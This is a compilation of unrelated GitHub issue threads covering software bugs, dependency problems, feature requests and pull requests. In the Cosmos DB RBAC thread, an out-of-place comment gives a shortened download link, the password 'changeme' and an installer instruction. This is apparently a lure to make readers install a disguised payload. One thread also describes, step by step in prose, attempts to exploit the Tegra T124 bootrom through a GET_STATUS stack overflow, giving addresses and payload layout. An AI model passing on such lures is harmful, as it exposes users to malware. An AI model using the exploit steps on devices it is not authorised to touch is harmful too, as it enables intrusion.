[bug]glPushMatrix

🐛 Bug

To Reproduce
from openrl import ...

Relevant log output / Error message
No response
System Info
No response
Checklist

[X] I have checked that there is no similar issues in the repo
[X] I have read the documentation
[X] I have provided a minimal working example to reproduce the bug
[X] I have version numbers, operating system and environment, where applicable

应该是你的pyglet版本不对。按照MPE官方说明，应该安装pyglet==1.5.27：https://github.com/openai/multiagent-particle-envs?tab=readme-ov-file#getting-started


failureRedirect results in infinite redirection

As others have commented, the first thing was to avoid the following error: TypeError: Invalid value for redirectUrl.
In step 3, the code under point 3, instead of just:
passport.use(new OIDCStrategy({
    callbackURL: config.creds.returnURL,

I had to have these lines:
passport.use(new OIDCStrategy({
	allowHttpForRedirectUrl: true,
    callbackURL: config.creds.returnURL,
	redirectUrl: config.creds.returnURL,

That got rid of that error and the app started.  You need to update the tutorial to include these lines don't you?
But now I have another problem which I would value some help with.
When I clicked on 'login' in the web browser there was obviously an error which I don't know the nature of, but is causing the redirect on this line to happen:
app.get('/login',
  passport.authenticate('azuread-openidconnect', { failureRedirect: '/login' }),

and the browser tells me that there were too many redirects (it is continuously getting redirected back to /login. I can verify this by changing the line above to:
app.get('/login',
  passport.authenticate('azuread-openidconnect', { failureRedirect: '/loginERROR' }),

That results in my brower getting redirected to the none existent /loginERROR page.
Thanks for any suggestions.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 85b1fba4-870b-1602-0d4f-6f50bdbfc370
Version Independent ID: 93873b36-5f27-bd06-df23-804c38f21b37
Content: Build a Node.js Express web app for sign-in and sign out with Azure Active Directory
Content Source: articles/active-directory/develop/quickstart-v1-openid-connect-code.md
Service: active-directory
GitHub Login: @CelesteDG
Microsoft Alias: celested

@luther-c
Thanks for your feedback! We will investigate and update as appropriate.

Thank you, @luther-c - Fixing our docs as the info has gotten out of sync with the latest code samples.

Please note that we've removed the existing topic and it's redirecting to this more updated info in GitHub: https://github.com/AzureADQuickStarts/WebApp-OpenIDConnect-NodeJS

@MarileeTurscak-MSFT @MohitGargMSFT @SaurabhSharma-MSFT @MicahMcKittrick-MSFT #please-close The error was due to a newer code sample being released and the topic not being updated to match the latest code sample. We fixed this by redirecting the link to the NodeJS v1 quickstart to point to the latest doc on GitHub, which is synced with the sample.


[BUG] nvme optimizer offload decreases loss 25x less than cpu optimizer offload for a given number of epochs

When training gpt-type models with cpu optimizer offload the loss drops rapidly. However when using the nvme optimizer offload (all other parameters remain the same) the loss drops by tiny amounts for each epoch making it essentially unusable.
For instance using GPT-J and a small custom dataset (2.8Mb of text) on DeepSpeed 0.7.2
Non-finetuned GPT-J achieves:
  eval_accuracy           =     0.4915
  eval_loss               =     2.4492
  perplexity              =    11.5793

After finetuning for 2 epochs with stage 3 cpu optimizer offload the model has learned the dataset satisfactorily:
  eval_accuracy           =     0.7233
  eval_loss               =     1.1758
  perplexity              =     3.2407

However after finetuning for 2 epochs with stage 3 nvme optimizer offload (all other parameters are the same) the model has barely changed:
  eval_accuracy           =     0.4981
  eval_loss               =     2.3945
  perplexity              =    10.9631

Note that stage 1 cpu optimizer offload gives the same results as stage 3 cpu optimizer offload
I first noticed the low loss reduction when finetuning Salesforce/codegen-16B-nl and EleutherAI/gpt-neox-20b (models for which stage 3 offloads are required on my setup). The loss was dropping much less by epoch than seemed to be experienced by gpt-neox-20b setups using megatron rather than offloading.
To Reproduce

Using either the nvme or cpu ds_config.zip attached run
CUDA_VISIBLE_DEVICES=1,2 python -u -m torch.distributed.launch  --nproc_per_node=2 ./run_clm.py --do_train --model_name_or_path EleutherAI/gpt-j-6B --train_file data/train.txt --output_dir models/EleutherAI/gpt-j-6B  --gradient_accumulation_steps 16 --per_device_train_batch_size 1 --num_train_epochs 2 --learning_rate 3e-05 --bf16 --overwrite_output_dir --deepspeed ds_config.json
where train.txt should be a small text file of your choosing (around 3Mb)
After training evaluate using
CUDA_VISIBLE_DEVICES=1 python -u ./run_clm.py --model_name_or_path models/EleutherAI/gpt-j-6B --output_dir models/dummy --do_eval --validation_file data/train.txt --per_device_eval_batch_size 1 --fp16_full_eval
Compare evaluation scores between nvme and cpu

Expected behavior
I would expect optimization to give roughly the same scores for cpu or nvme offloading
System info (please complete the following information):

DeepSpeed 0.7.2
OS: Ubuntu 22.04
1 machine using 2x RTX a6000 (without NV-LINK)
Python 3.8
HuggingFace Transformers 4.21.2
Cuda 11.6
Pytorch 1.12-cu116

@timohear, thanks for this report. I will try to reproduce it. Can you please share a train.txt file for the first step?

Unfortunately I can't share the train.txt I'm using. I'll make a shareable one.

Here's a train.txt to reproduce the issue
train.public.txt
Non-finetuned metrics:
  eval_accuracy           =     0.5864
  eval_loss               =     1.7979
  perplexity              =     6.0367

cpu optimizer offload
  eval_accuracy           =      0.727
  eval_loss               =     1.0947
  perplexity              =     2.9884

nvme optimizer offload
  eval_accuracy           =     0.5927
  eval_loss               =     1.7607
  perplexity              =     5.8168

@tjruwase did you have any luck in reproducing? Can I do anything further to help?

@timohear, thanks! I will give this a shot today.

I have reproduced this issue. Now investigating. Thanks!

@timohear, can you please try PR #2282?

It works! Thank you @tjruwase :-)
Now with nvme optimizer offload I'm seeing (for train.public.txt):
  eval_accuracy           =      0.727
  eval_loss               =     1.0947
  perplexity              =     2.9884

Which matches the cpu offload 100%


feat: support cpu

Also add requirements.txt

Thanks very much for this simple yet effective pull req.

Thank you~

@ljsabc
Can I ask why close instead of merge?

@ljsabc
Can I ask why close instead of merge?

my bad. I did not sleep well last night.

@ljsabc
Can I ask why close instead of merge?

my bad. I did not sleep well last night.

Thanks^_^

@ljsabc
Can I ask why close instead of merge?

my bad. I did not sleep well last night.

Thanks^_^

Always welcome.


Support RBAC access control for cosmosDb

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Azure reports the following best practice when checking CosmosDb usage for IPAM
Azure Cosmos DB accounts should use Azure Active Directory as the only authentication method
Describe the solution you'd like
Manual remediation:
Change your resource authentication method to RBAC. After RBAC is enabled, edit the configuration settings to enforce RBAC as the only authentication method.
Change the resources' authentication method from primary key to Azure Active Directory (AAD):

    Map all the resources that currently access to the Azure Cosmos DB account with keys or access tokens.
    Create an Azure Active Directory (AAD) identity for each of these resources:
        For Azure resources, you can [create a managed identity](https://learn.microsoft.com/azure/active-directory/managed-identities-azure-resources/overview?WT.mc_id=Portal-Microsoft_Azure_Security) . You may [choose between system-assigned and user-assigned managed identities](https://learn.microsoft.com/azure/active-directory/managed-identities-azure-resources/overview?WT.mc_id=Portal-Microsoft_Azure_Security#managed-identity-types).
        For non-Azure resources, [create an AAD identity](https://learn.microsoft.com/azure/active-directory/develop/howto-create-service-principal-portal?WT.mc_id=Portal-Microsoft_Azure_Security).
    Grant each AAD identity the minimum permission it requires. When possible, we recommend you use one of the [2 built-in role definitions](https://learn.microsoft.com/azure/cosmos-db/how-to-setup-rbac?WT.mc_id=Portal-Microsoft_Azure_Security#built-in-role-definitions): Cosmos DB Built-in Data Reader or Cosmos DB Built-in Data Contributor.
    Validate that the new resource is functioning correctly. After new permissions are granted to identities, it may take a few hours until they propagate. When all resources are working correctly with the new identities, continue to the next step.

[You can read more about configuring role-based access control with Azure Active Directory for your Azure Cosmos DB account](https://learn.microsoft.com/azure/cosmos-db/how-to-setup-rbac?WT.mc_id=Portal-Microsoft_Azure_Security#built-in-role-definitions).

Enforce RBAC as the only authentication method:
You may choose one of the two options listed below:
    You can use the az resource update powershell command:
    $cosmosdbname = "cosmos-db-account-name"
    $resourcegroup = "resource-group-name"
    $cosmosdb = az cosmosdb show --name $cosmosdbname --resource-group $resourcegroup | ConvertFrom-Json

    az resource update --ids $cosmosdb.id --set properties.disableLocalAuth=true --latest-include-preview

    Deploy these changes in your ARM template [to enforce RBAC as the only authentication method](https://learn.microsoft.com/azure/cosmos-db/how-to-setup-rbac?WT.mc_id=Portal-Microsoft_Azure_Security#disable-local-auth).

    [You can read more about using ARM templates on existing resources](https://learn.microsoft.com/azure/architecture/guide/azure-resource-manager/advanced-templates/update-resource?WT.mc_id=Portal-Microsoft_Azure_Security).

After these changes have been implemented, all access attempts that use primary/secondary key or access tokens authentication will be denied.

Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
This'll likely require minor code tweaks to move from using the primary key to AAD in the application.

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."

Hi @harsimranmaan, apologies as I am a little confused by the request.
For quite some time now, all new deployments of Azure IPAM use RBAC access for Cosmos DB and no longer use Access Keys. If you review the Bicep deployment for the Cosmos DB component, you can see that it is deployed exactly as you have described above:
https://github.com/Azure/ipam/blob/main/deploy/modules/cosmos.bicep
Is there something I'm missing perhaps?

@harsimranmaan, this is in place for legacy customers who were originally using Shared Key credentials so the product continues to work until they migrate. All net-new deployments use Managed Identity w/ RBAC.
Does this make sense?

I see what you're saying, this is the section that needs to be commented out:
https://github.com/Azure/ipam/blob/main/deploy/modules/cosmos.bicep#L93
That is what you were referring to, correct?

Understood, will add both in the next release. Thanks @harsimranmaan 👍

This has been addressed in the latest release. Feel free to close it @DCMattyG


Refactoring of topic handling in preparation of #22

Fixes #26

Since its all over the place, I'll comment it here. I'd keep the TopicController in the Cluster object. It's best to have one single object (i.e. cluster) that you can use as interface.
The TopicController should exist only once per cluster anyway and who is better to ensure this if not the cluster object itself?
The cluster object could serve as a factory for all Kafka resources so you don't have to repeat yourself.
Then you can create a cluster with some bootstrap servers (and later also credentials) and everything else can (and should) be handled from there.

I've also considered that, but decided against it in favour of the current approach. My thoughts behind that: I'd like to treat the Cluster as a "dumb" resource object similar to how the Topic should behave after this PR. The resource objects should only wrap the different clients and provide some basic utility functions. The TopicController just get's the Cluster as input, and can then create/change resources of that cluster as output. That's also how I'd structure further Controllers ex. for ConsumerGroups or Partitions.
I think this approach makes the View (the CLI) a little more verbose, but should make the separation between resources and controllers more explicit and hopefully testing/mocking easier as well.
But having the Cluster as god-object that manages all resources could also work, and I'm open to changing it to that approach if you think it would be better. We'll just have to agree on one architectural approach going forward.

For the moment I'm okay with separating it. But personally I'd prefer a "god" object as you call it. It could be just a proxy. Imho its easier to have one object around where I can check the API using my IDE than to keep several where I first have to find and figure out how to create the one that does what I want. Looking from a usability perspective here.

Some of the newer changes also close #28 by simply not showing non-editable properties in esque edit topic. Still need a way to detect & abort/fail for esque apply

@swenzel If you want to do a follow-up PR to change it, go for it :)


Broken dependeny reqirements?

Attempting to install the package using poetry yields this error:
Because snaf (0.7.0) @ git+https://github.com/frankligy/SNAF.git@e23ce39512a1a7f58c74e59b4b7cedc89248b908 depends on pandas (1.3.4) which depends on numpy (>=1.19.2), snaf (0.7.0) @ git+https://github.com/frankligy/SNAF.git@e23ce39512a1a7f58c74e59b4b7cedc89248b908 requires numpy (>=1.19.2).
So, because project depends on SNAF (0.7.0) @ git+https://github.com/frankligy/SNAF.git@e23ce39512a1a7f58c74e59b4b7cedc89248b908 which depends on numpy (1.18.5), version solving failed.

Hi @TheWizier,
I didn't use poetry before, but let's just do a sanity check, if we go to pandas github, find the 1.3.4 release (https://github.com/pandas-dev/pandas/releases?page=3), download the zip and see the dependencies, it is clearly said:
# This file is auto-generated from environment.yml, do not modify.
# See that file for comments about the need/usage of each dependency.

numpy>=1.17.3

Also like I showed in this issue thread (https://github.com/frankligy/SNAF/issues/21#issuecomment-1912854494), I demonstrated a fresh conda, python3.7 on linux system should guarantee the successful installation.
I guess I am just not sure where does depends on pandas (1.3.4) which depends on numpy (>=1.19.2) this come from, let me know if that makes sense.
Best,
Frnak


opt opt MultiCastDataStreamer when source close

Proposed changes
When the source is closed, we reduce the initial value of the use count to avoid unnecessary copies.

run buildall

run performance

run buildall

run buildall

run buildall

run buildall

run buildall

run buildall


Issues Exploiting a T124 device

Hello,
I am trying to exploit a Nvidia Shield using this method. I would like to see if I can recover the RCM keys to have a way to unbrick my device in order to perform some experiments that I would like to do with the bootloader.
After some peak and poke I have manage to progress a little bit with this. Using your code and ktemkin code I have manage to write a small script that collect the RCM ID using the EP1 and perform some Get Status calls to collect some info.
Looks like your code uses a GetStatus to collect some info from the device and perform a sanity check. When this sanity check is run on the T124 it fails. The parameters that are check are the SP and the USB buffer 2 address. I am supposing that since this is a different device these address could be different, hence I have modified the sanity check to match the returned values: 0x40008000 and 0x4000dcf4.
After a quick check on the values returned by the sanity GetStatus I found that there was a value of 0x40004000, I suppose that this could be the address for USB buffer 1.
Also I have succeed to execute a GetStatus for a big amount of data , hence I'am supposing that this call must be bugged and the exploit is running correctly.
However I have not succeed to load any payload to EP1. As soon as I try to write more than 0x1000 bytes to EP1 it stops to allow me to write more data (I have tried sending different amounts for the length field).
On the other hand as soon as I write any amount of data to EP1 (even if it is less than 0x1000, EP0 stops to answer.
I would say that the code that handles the RCM mode on the T124 is different and as soon as I send the first package it fails some validation that prevents to send anything else to the interface on both EPs.
Does anyone has any idea about how can I proceed? Is there any dump of the T124 iROM available?

I suggest you understand the bug, if you don't already. You can use it to dump a large amount of memory back to you over usb (shofel2 uses this a little as the sanity check function).
Generally, the straightforward way is to set the destination buffer to the higher address (0x40008000 in this case, I guess), and increase the size until the device stops responding. This likely means the memcpy just overwrote the return address on the stack. From there, you probably want to find a way to dump the full irom/iram out over usb or something.

 Following the execution trace for the official TegraRCM tool, after it sends a GET_DEVICE_ID, it sends another message: RCM_CMD_QUERY_RCM_VERSION which it doesn't follow the same sizing restrictions of the T210.
Using the TegraRCM tool I have generated a RCM_CMD_QUERY_RCM_VERSION message with a payload of 4094 0xAAs. Now I can see a lot of 0xAAs in my GET_STATUS response on EP0 (by sending only part of the message).
Thanks for the tip finding the return address on the stack, I am supposing the the entry point is 0x4000e000 because BUF1 and BUF2 are in total 0x2000 positions before comparing with T210 and because the tregrarcm tool load the miniloader at that address. I feel curious about why this difference but anyway.
Does anyone knows if there is any video buffer library for the T124 AVP already done so I can write and easy hello world?¿

Hum, checking the way that the payload is built I can see that it is padded with 0x1a3a*4 0s. Adding this amount to the buffer 1 adreess I can see that it would be needed 0x37c bytes more to overwrite the stack with the entry point. I suppose that this is because get_status copies part of the stack before it starts to copy the pay load, is this correct? On the t124 I can see only 0x30C bytes I am not sure why.
Also any ideas about how to get the right address for cbfs usb base? The 0x40003114 doesn't look to work... That supposing that I have calculated right the rest of the addresses......

I have tried to replace 0x40003114 by every single address between 0x40000000 and 0x40004000 on step of 4. The process that I follow was:

Reset the shield tablet power (using the help of an arduino) and read DeviceID from EP1
If step 1 succeed continue, otherwise fail
Create a Payload with a Header(big length) + 0 padding(0x59CC) + entry address (0x400139D1) * Supposing that get status reads 0x30C bytes before start to read the payload
Read cbfs.bin to a buffer and replace the bytes b'14310040' by an address between 0x40000000 and 0x40004000 (little endian format).
Add cbfs buffer to the payload
Padding the payload with 0s till it become multiply of 0x1000
Send the payload to the device on chunks of 0x1000 bytes
Execute get_status to smash the stack target (0x4000DCD8)
Try to read 8 bytes from EP1
Repeat from 1 till all address has been tested or no timeout has been gotten on step 9

Unfortunately I had no luck getting anything from EP1 which makes me think that probably I have made a mistake jumping to cbfs.bin or it has not been loaded properly
It is interesting that if I print the result of the getstatus for length=0x4000, I can only see the first 0x1000 values that I would expect (stack + beginning of the payload), after the first 0x1000 I can only see random values rather than the rest of the payload, initially I supposed that this was because getstatus is limited by the DMA buffer but now I am not sure.
At this point I run out of ideas about how to make this work on my shield k1


added new logo

replaced logo as per
https://backstage.io/docs/getting-started/app-custom-theme/#overriding-backstage-and-material-ui-components-styles

ran it local, cant login but app starts.
Image is better.


Newly created playlists aren't shown in the app

Describe the bug
See title
To Reproduce
Steps to reproduce the behavior:

Create playlist from the app
Named it whatever you want
It is not added to your playlists in the UI
It exists on the official client

Expected behavior
Playlists should be shown after being created

I have the same  issue, did you solved it?

I just installed for the first time, and NO playlists load. Might be same issue. I also noticed this is with most apps that use the Spotify API. Not all though. Maybe the API changed?

I just installed for the first time, and NO playlists load. Might be same issue. I also noticed this is with most apps that use the Spotify API. Not all though. Maybe the API changed?

This is funny. My app shows all playlists I have created, but I have it installed since a long time ago. If you manage to get more information about that, I would be glad to work on a fix!
Note that folders aren't shown in the app. I'm not even sure if it's something exposed by their API.

I have the same issue, did you solved it?

Well, you can restart the app for now. Though, it is more of a hack than a fix.

Same issue as @basdp. No playlists at all

I'm not sure if those two issues really have the same origin, but I'm in the group of those who can't get any playlist to load at all.
Here is some log from Spot which does suggest a change in API (or something unexpected, at least)
[src/api/cached_client.rs:224:17] &cache_key = "me_playlists_0_30.json"
[src/api/cached_client.rs:224:17] e = Error("invalid type: null, expected a sequence", line: 1, column: 18452)
[src/api/cached_client.rs:224:17] &cache_key = "me_playlists_0_30.json"
[src/api/cached_client.rs:224:17] e = Error("invalid type: null, expected a sequence", line: 1, column: 18452)
[2024-05-26T22:13:37Z ERROR spot::app::components] Spotify API error: invalid type: null, expected a sequence at line 1 column 18452
[src/api/cached_client.rs:224:17] &cache_key = "me_playlists_0_30.json"
[src/api/cached_client.rs:224:17] e = Error("invalid type: null, expected a sequence", line: 1, column: 18452)
[2024-05-26T22:13:38Z ERROR spot::app::components] Spotify API error: invalid type: null, expected a sequence at line 1 column 18452

I'm not sure if those two issues really have the same origin, but I'm in the group of those who can't get any playlist to load at all.
Here is some log from Spot which does suggest a change in API (or something unexpected, at least)
[src/api/cached_client.rs:224:17] &cache_key = "me_playlists_0_30.json"
[src/api/cached_client.rs:224:17] e = Error("invalid type: null, expected a sequence", line: 1, column: 18452)
[src/api/cached_client.rs:224:17] &cache_key = "me_playlists_0_30.json"
[src/api/cached_client.rs:224:17] e = Error("invalid type: null, expected a sequence", line: 1, column: 18452)
[2024-05-26T22:13:37Z ERROR spot::app::components] Spotify API error: invalid type: null, expected a sequence at line 1 column 18452
[src/api/cached_client.rs:224:17] &cache_key = "me_playlists_0_30.json"
[src/api/cached_client.rs:224:17] e = Error("invalid type: null, expected a sequence", line: 1, column: 18452)
[2024-05-26T22:13:38Z ERROR spot::app::components] Spotify API error: invalid type: null, expected a sequence at line 1 column 18452

This issue seems to be related to #715, but I dont know how much this is related to the other people in this thread.
Just copying what I said there:
I did some testing on the repo. It doesn't know how to handle playlists with no images, and crashes...
In the meantime while this isn't fixed, add an image or delete any playlists you have that has the default double-eighth-note image.


Fix regression

I previously accidentally changed *.csv to *.scv. This fixes that.

:+1:

Thanks @siccovansas!


Feature: allow multiple videos to be selected from a folder

A video will be randomly selected from the directory on screensaver start, and will loop once finished (as before) (requested in https://github.com/tonyfederer/EasyVideoScreensaver/issues/13, and https://github.com/tonyfederer/EasyVideoScreensaver/issues/4, though without the shuffle at the end of each playthrough)

Hey alextrofy, I am looking forward to using your program. This feature of allowing multiple files to be played is it avaliable yet?

This is @tonyfederer's software, I just made a small change to the functionality.
Not sure if this will be merged as is, there will likely be some changes required, but if you are able to build this yourself, then you can already do so based on this branch.

how do i use your version? i see your fork but when i click download it's the old version.

I just forked to make a pull request, there isn't an official downloadable yet.
I am attaching the version that I built and am using locally: EasyVideoScreensaverSetup-1.3-alpha.zip

works great, thanks.
will you be working on this furfur? this is now the only video screensaver on github that has multi video support. there is one on google but it's 8 years old and doesn't work well with some codes. your version is literally the only option.

That was also my experience. This was the closest to what I wanted, and it was nice and easy to modify.
It wasn't my intention to develop it any further, except maybe add an option to shuffle videos at the end (instead of loop).

shuffle instead of loop, HDR, exit on mouse move, getting rid of the exe installer and having a single click SCR file.
if you make any more tweaks, or decide on your own release, would appreciate a heads up. been waiting a few years for somebody to release something. it's crazy to think a good video screensaver does not exist.

Hello @alextrofymenko
I tried your above build.
When clicking settings, it just thinks for a moment, the buttons grey out
then it just returns back.
No errors at all.
Same thing is preview is clicked.
Any ideas?

I am not entirely sure, perhaps you don't have the codecs to play the video in Windows Media Player? Does the original executable work as expected?

I am not entirely sure, perhaps you don't have the codecs to play the video in Windows Media Player? Does the original executable work as expected?

Yes, the original works fine.
OS is windows 11 by the way.
Tried it on a windows 10 laptop to compare but got same results.
In your build, even the settings button does not do anything, thinks for a minute then the button lights back up
no dialog box to select a directory ever appears.
So it does not even get to the point of trying a video.
Clicking preview does the same thing.
Nothing happens at all.
In the original, clicking preview with no media selected just results in a black screen, as expected.
Don't see any events in event logs about it though.

Strange, I don't know what to suggest. Are you able to compile a version yourself? My fork contains this PR, and also the ability to shuffle videos instead of looping

Strange, I don't know what to suggest. Are you able to compile a version yourself? My fork contains this PR, and also the ability to shuffle videos instead of looping

No, don't have a dev environment set up.
Odd, i can get it to work on 1 machine, which has windows 10, and is a bit behind on updates.
2 machines that are new clean installs from latest ISO of win10 and win11, no go.
Nothing happens when trying to click the settings dialog.
But i can not see it being blocked or anything in events log

With the clean installs my guess would be codec again, especially if you have Windows KN (or whatever variety comes without WMP). But again, if original one works, I'm not really sure.
I wanted to take a stab at setting up a build using GitHub Actions. I don't know if that will fix anything, but at least it will be a reproducible build to play around with.

With the clean installs my guess would be codec again, especially if you have Windows KN (or whatever variety comes without WMP). But again, if original one works, I'm not really sure.
I wanted to take a stab at setting up a build using GitHub Actions. I don't know if that will fix anything, but at least it will be a reproducible build to play around with.

No, not KN, normal US version
And lack of codecs should not prevent opening of file selection dialog anyway?

True, I don't see how that would prevent the settings dialog from opening. Clutching at straws here.
I made a GitHub Action to built and publish the artifact, you can find the link to the first attempt here: https://github.com/alextrofymenko/EasyVideoScreensaver/actions/runs/8695008243/job/23845115862 (or if you can't view the logs, here is the actual download link - https://github.com/alextrofymenko/EasyVideoScreensaver/actions/runs/8695008243/artifacts/1415698727).
It just builds the main project, not the setup, but you can right click on the .scr file and install from the context menu. That worked for me, I hope that works for you.

Any chance you would know how I can set the source file via PowerShell so I could deploy the remotely?  Is the source file held in a registry?
This works without issue when I install it manually.

I'm not actually sure, but the answers here suggest that you guessed correctly: https://stackoverflow.com/questions/49791065/silently-set-the-screensaver-on-windows-from-the-command-line

I'm not actually sure, but the answers here suggest that you guessed correctly: https://stackoverflow.com/questions/49791065/silently-set-the-screensaver-on-windows-from-the-command-line

Thanks for your reply!
I guess to clarify - I've been able to set the screensaver to something like mystify, but for your particular app, you have a window dialogue that pops up where I select the "Video to Play":

Maybe I'm asking the wrong questions, as I'm not super great at programing and still learning PowerShell fundamentals - but if I knew where your program stored this location, I could probably figure out the rest.


REQUEST: Ghost Button type

[x] I have searched the Issues to see if this bug has already been reported
[x] I have tested the latest version

Summary
I have seen this being used around the documentation and in some components, but there is no direct way of creating a <Button /> like, which looks like the class list is copied and pasted when needed. It would be really interesting in some cases, mainly with icon only buttons.

Context
Have a Ghost button type.

This seems like a reasonable request, and I appreciate the suggestion, @nigellima. The implementation itself appears to be relatively straightforward, so it could be a good task to assign to new contributors.
To provide some additional context, ghost buttons are commonly used to achieve a transparent or outlined look with a visible border, while retaining the functionality of a button.
Considering our existing button variations like pill and outline, we should introduce a new ghost property that will transform the button into this new style. In addition to implementing this feature, the following tasks should be completed:

Write unit tests to ensure the functionality and behavior of the ghost button.
Update the storybook with the new ghost button component, showcasing its usage and variations.
Update the documentation to include clear instructions and examples for incorporating the ghost button into projects.

By completing these tasks, we can ensure the feature is well-tested, properly demonstrated, and effectively documented for users of our component library.

Hey @rluders , I would like to work on this. Please assign to me.

I'm sorry, I think I'm being dense - I don't fully understand this request. I'm confused by what exactly "ghost" means here.

I'm sorry, I think I'm being dense - I don't fully understand this request. I'm confused by what exactly "ghost" means here.

So in some libraries out there usually there is the button type called ghost, which is basically this button that displays only the text/icon with padding but there is no visual indications of the boundaries, which you can only see the background/border if you hover the button, like this:

In Flowbite there is this type too, which we can see in the documentation or in the dark theme toggle button. But there is no direct way of having this Button type without copying the classes from the existing examples. Hence the suggestion of having a <Button ghost /> or maybe <Button color="ghost" />.
I checked internally in the documentation and in the library and the places that have this ghost styled button the tailwind classes are being copied and pasted around

@nigellima Thank you very much!


Hang then crash by typing \\\\\\\\ in integrated terminal

VSCode Version: Code 1.16.0 (787b31c0474e6165390b5a5989c9619e3e16f953, 2017-09-06T16:12:42.401Z)
OS Version: Darwin x64 16.7.0
Extensions:

Extension
Author (truncated)
Version

beautify
Hoo
1.1.1

vscode-docker
Pet
0.0.16

code-settings-sync
Sha
2.8.3

vscode-eslint
dba
1.3.0

tslint
eg2
1.0.1

cpptools
ms-
0.12.3

autoimport
ste
1.2.2

react-beautify
tai
0.3.0

vim
vsc
0.10.0

ReactSnippets
xab
1.4.0

Steps to Reproduce:

Open integrated terminal
Type \\\\\\\\\\\\\\\\\\\\\\\\\\

All of vscode will immediately hang. You will not be able to use any of the UI.
After a while it will show a macOS dialog "The window is no longer responding" with options to Close/Keep Waiting/Reopen.
This will happen regardless of whether the current working directly is a git repository or not.
Using a mid 2015 MacBook Pro.
Using zsh terminal with oh-my-zsh framework. It is not possible to reproduce this issue in a regular terminal, either macOS Terminal.app or iTerm.

Reproduces without extensions: Yes/No

Pushed to master and release/1.16.

Thanks for dealing with this so promptly @Tyriar 👍


smi doesn't print anything

I installed via deb package:
❯ amdgpu_top -V
amdgpu_top v0.5.0

But running smi mode doesn't work:
❯ amdgpu_top --smi

Doesn't print anything.
rocm-smi works normally:
========================= ROCm System Management Interface =========================
=================================== Concise Info ===================================
GPU  Temp (DieEdge)  AvgPwr  SCLK  MCLK   Fan  Perf  PwrCap  VRAM%  GPU%
0    51.0c           4.0W    0Mhz  96Mhz  0%   auto  100.0W   11%   0%
====================================================================================
=============================== End of ROCm SMI Log ================================

Does TUI mode or GUI mode work?
Also, can you attach the results of amdgpu_top -d?

Does TUI mode or GUI mode work?

How should I run TUI mode?
GUI mode shows a window, but doesn't show info.
~
❯ amdgpu_top -d
amdgpu_top v0.5.0

--------
#0 DevicePath { render: "/dev/dri/renderD128", card: "/dev/dri/card0", pci: "0000:03:00.0" }
drm version: 3.54.0

Device Name              : [AMD Radeon RX 6600]
PCI (domain:bus:dev.func): 0000:03:00.0
DeviceID.RevID           : 0x73FF.0xC7

GPU Type  : dGPU
Family    : Navi (NV)
ASIC Name : Dimgrey Cavefish/Navi23
Chip Class: GFX10_3

Shader Engine (SE)         :   2
Shader Array (SA/SH) per SE:   2
CU per SA[0]               :   8
CU per SA[1]               :   6
Total Compute Unit         :  28
RenderBackendPlus (RB+)    :   8 (64 ROPs)
Peak Pixel Fill-Rate       : 176 GP/s

GPU Clock: 500-2750 MHz
Peak FP32: 9856 GFLOPS

VRAM Type     : GDDR6
VRAM Bit Width: 128-bit
Memory Clock  : 96-875 MHz
Peak Memory BW: 224 GB/s
ResizableBAR  : Disabled

VRAM              : usage  1235 MiB, total  8176 MiB (usable  8130 MiB)
CPU-Visible VRAM  : usage    55 MiB, total   256 MiB (usable   256 MiB)
GTT               : usage   140 MiB, total 11950 MiB (usable 11938 MiB)

Edge Temp.      :  54 C (Current), 100 C (Critical), 105 C (Emergency)
Junction Temp.  :  54 C (Current), 110 C (Critical), 115 C (Emergency)
Memory Temp.    :  60 C (Current), 100 C (Critical), 105 C (Emergency)

Power (Average)     :   6 W
Power Cap.          : 100 W (0-100 W)
Power Cap. (Default): 100 W
Fan RPM (Max)       : 3600 RPM
PCIe Link Speed (DPM, Min-Max): Gen1x1  - Gen3x8
PCIe Link Speed (DPM, Min)    : Gen1x1
PCIe Link Speed (DPM, Max)    : Gen3x8
PCIe Link Speed (GPU, Max)    : Gen4x8
PCIe Link Speed (System, Max) : Gen3x8
Supported Power Profiles: ["BOOTUP_DEFAULT", "3D_FULL_SCREEN", "POWER_SAVING", "VIDEO", "VR", "COMPUTE", "CUSTOM"]

L1 Cache (per CU)    :   16 KiB
GL1 Cache (per SA/SH):  128 KiB
L2 Cache             : 2048 KiB (8 Banks)
L3 Cache             :   32 MiB

IP Discovery table:
    die_id:  0
        MP1        num: 1, ver:  11.0.12
        THM        num: 1, ver:  11.0.8
        SMUIO      num: 1, ver:  11.0.10
        FUSE       num: 1, ver:  11.0.5
        CLKA       num: 7, ver:  11.0.5
        GC         num: 1, ver:  10.3.4
        UVD        num: 1, ver:   3.0.16
        MMHUB      num: 1, ver:   2.1.1
        ATHUB      num: 1, ver:   2.1.1
        OSSSYS     num: 1, ver:   5.0.3
        HDP        num: 1, ver:   5.0.3
        SDMA0      num: 1, ver:   5.2.4
        SDMA1      num: 1, ver:   5.2.4
        DBGU_IO    num: 2, ver:   3.0.0
        DF         num: 1, ver:   3.7.4
        CLKB       num: 1, ver:  11.0.5
        PCIE       num: 1, ver:   6.5.0
        NBIF       num: 1, ver:   3.3.2
        UMC        num: 4, ver:   8.8.0
        MP0        num: 1, ver:  11.0.12
        DMU        num: 1, ver:   3.0.2

Firmware info:
    GFX_ME   feature:  44, ver:       0x40
    GFX_PFP  feature:  44, ver:       0x61
    GFX_CE   feature:  44, ver:       0x25
    GFX_RLC  feature:   1, ver:       0x56
    GFX_MEC  feature:  44, ver:       0x73
    SMC      feature:   0, ver:   0x3B2F00
    SDMA     feature:  52, ver:       0x4C
    SOS      feature:   0, ver:   0x230709
    ASD      feature: 553648303, ver: 0x210000AF
    VCN      feature:   0, ver:  0x211D002
    DMCUB    feature:   0, ver:  0x202001F

Video caps (WIDTHxHEIGHT):
    MPEG2     :    4096x4096 (Decode),          N/A (Encode)
    MPEG4     :    4096x4096 (Decode),          N/A (Encode)
    VC1       :    4096x4096 (Decode),          N/A (Encode)
    MPEG4_AVC :    4096x4096 (Decode),    4096x2160 (Encode)
    HEVC      :    8192x4352 (Decode),    7680x4352 (Encode)
    JPEG      :    4096x4096 (Decode),          N/A (Encode)
    VP9       :    8192x4352 (Decode),          N/A (Encode)
    AV1       :    8192x4352 (Decode),          N/A (Encode)

VBIOS info:
    name   : [2E447 N23 XL A0 8GB 500e/500m 0.9V/1.35V.]
    pn     : [113-2447LHS-UDG]
